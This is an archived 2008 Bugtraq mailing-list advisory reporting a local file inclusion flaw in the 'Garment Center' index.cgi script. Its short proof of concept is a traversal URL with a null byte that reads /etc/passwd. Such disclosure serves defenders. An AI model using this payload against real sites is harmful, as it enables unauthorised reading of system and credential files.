Garment Center (index.cgi) Local File Inclusion

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Garment Center (index.cgi) Local File Inclusion
From: Smasher@xxxxxxxxxxxxxxxxxxxxx
Date: 12 Jan 2008 16:44:24 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

[+] Discovered by Smasher
[+] WarWolfz Crew.
[+] http://warwolfz.altervista.org/

Hey wassup....i've found a vulnerability in 
Garmentcenter in index.cgi...

PoC:

/index.cgi?page=[LFI]

Ex.
http://site(1).com/index.cgi?page=../../../../../../../../etc/passwd%00  

Regards.
Smasher.

Prev by Date: [ MDVSA-2008:008 ] - Updated kernel packages fix multiple vulnerabilities and bugs
Next by Date: [SECURITY] [DSA 1462-1] New hplip packages fix privilege escalation
Previous by thread: [ MDVSA-2008:008 ] - Updated kernel packages fix multiple vulnerabilities and bugs
Next by thread: Re: Garment Center (index.cgi) Local File Inclusion
Index(es):
- Date
- Thread